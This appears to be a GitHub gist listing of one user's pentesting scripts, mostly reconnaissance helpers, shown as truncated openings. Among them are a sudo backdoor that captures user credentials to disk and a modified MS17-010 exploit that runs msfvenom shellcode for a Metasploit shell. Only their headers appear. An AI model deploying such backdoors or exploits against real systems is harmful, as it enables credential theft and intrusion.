Skip to content

Instantly share code, notes, and snippets.

@manasmbellani
manasmbellani / recon_info_crtsh.py
Created September 30, 2017 20:50
recon_info_crtsh - connect to crt.sh and obtain a list of subdomains that belong to the specified main domain
#!/usr/bin/python3
import subprocess
import shlex
import requests
from bs4 import BeautifulSoup
from sys import exit
from argparse import ArgumentParser, RawTextHelpFormatter
### URL to crt.sh to get all the domains
@manasmbellani
manasmbellani / recon_info_netcraft.py
Created October 1, 2017 02:36
recon_info_netcraft.py - Script to download sub domains for a given domain from netcraft.com
#!/usr/bin/python3
import subprocess
import shlex
import requests
from bs4 import BeautifulSoup
from sys import exit
from argparse import ArgumentParser, RawTextHelpFormatter
@manasmbellani
manasmbellani / modified-sudo-backdoor.sh
Created October 29, 2017 02:27
A script inspired by the sudo-backdoor script from ldionmarcil - instead of sending the creds remotely, it will write to disk.
#!/bin/bash
# Script created for testing and learning purposes only. The author does not take any responsibility for the actions taken
# when using this script.
# Note that it is generally not a good idea to be storing plain text credentials to disk where other users will be able to
# access them.
# Drop this file on disk in the leading directory on $PATH and make it executable
# Then update the CREDS_FILE to the location that the creds must be written
@manasmbellani
manasmbellani / zzz_exploit_2.py
Created January 18, 2018 14:30
Modified zzz_exploit.py script which will execute a user provided shellcode file (e.g. generated via msfvenom) to be dropped and executed on the target. A metapsploit listener on the other side will then listen for the received shell/sending a secondary stager payload.
#!/usr/bin/python
from impacket import smb, smbconnection
from mysmb import MYSMB
from struct import pack, unpack, unpack_from
import sys
import socket
import time
'''
MS17-010 exploit for Windows 2000 and later by sleepya
@manasmbellani
manasmbellani / recon_info_grepassets.py
Last active August 8, 2018 05:03
recon_info_grepassets.py - script to parse domains, hashes, and ip addresses from a file/directory. Useful for info gathering phase of pentesting
#!/usr/bin/python3
import os
import re
import subprocess
import shlex
import requests
from argparse import ArgumentParser, RawTextHelpFormatter
DEFINITION = ("Greps the assets, IPs, and emails from a given input file, and "
@manasmbellani
manasmbellani / check_live_assets_via_ping.sh
Created August 8, 2018 06:36
Check live assets via a ping scan. Tested on Kali Linux.
#!/bin/bash
if [ $# -lt 2 ]; then
echo "[-] $0 <assets-list> <out-active-assets-list>"
exit
fi
assets_list="$1"
out_active_assets_list="$2"
for asset in `cat "$assets_list"`; do
echo "[*] Testing asset '$asset'"
@manasmbellani
manasmbellani / get_dorks_for_sensitive_dirs.sh
Last active August 12, 2018 15:22
Get the latest dorks from Github for a given ID/category which is the page that dorks are located on e.g. 3 is sensitive directories.
#!/bin/bash
./get_latest_dorks_from_ghdb.sh 3
@manasmbellani
manasmbellani / get_all_akamai_waf_protected_domains.sh
Created August 27, 2018 13:43
Get all Akamai WAF Protected domains from Kona WAF Site Defender via Akamai CLI
#!/bin/bash
if [ $# -lt 1 ]; then
echo "[-] $0 [out-file]"
read -p "[*] Press any key to continue..."
fi
out_file="$1"
[ -z "$out_file" ] && out_file="out-akamai-waf-protected-domains.txt"
echo "[+] out_file = $out_file"
@manasmbellani
manasmbellani / extract_ips_from_file.py
Created December 5, 2018 23:45
Extract all the IPs from a given file
#!/usr/bin/python3
import re
import argparse
parser = argparse.ArgumentParser(description="Get the IPs and ranges from the file")
parser.add_argument("-f", "--infile", action="store", dest="infile", required=True,
help="Input file")
parser.add_argument("-e", "--exclude-results", action="store", dest="exclude_results",
help="exclude_results from output separated by commas")
args = parser.parse_args()
@manasmbellani
manasmbellani / get_network_packets_in_linux.py
Created December 6, 2018 11:42
Record network packets in Linux
#!/usr/bin/python3
# Packet sniffer in python for Linux
# Sniffs only incoming TCP packet
# Code taken from: https://webcache.googleusercontent.com/search?q=cache:3DWFZjyjEsAJ:https://www.binarytides.com/python-packet-sniffer-code-linux/+&cd=1&hl=en&ct=clnk&gl=au
import socket, sys
from struct import *
import argparse
parser = argparse.ArgumentParser(description="Code to capture network packets in Linux machines in any interface")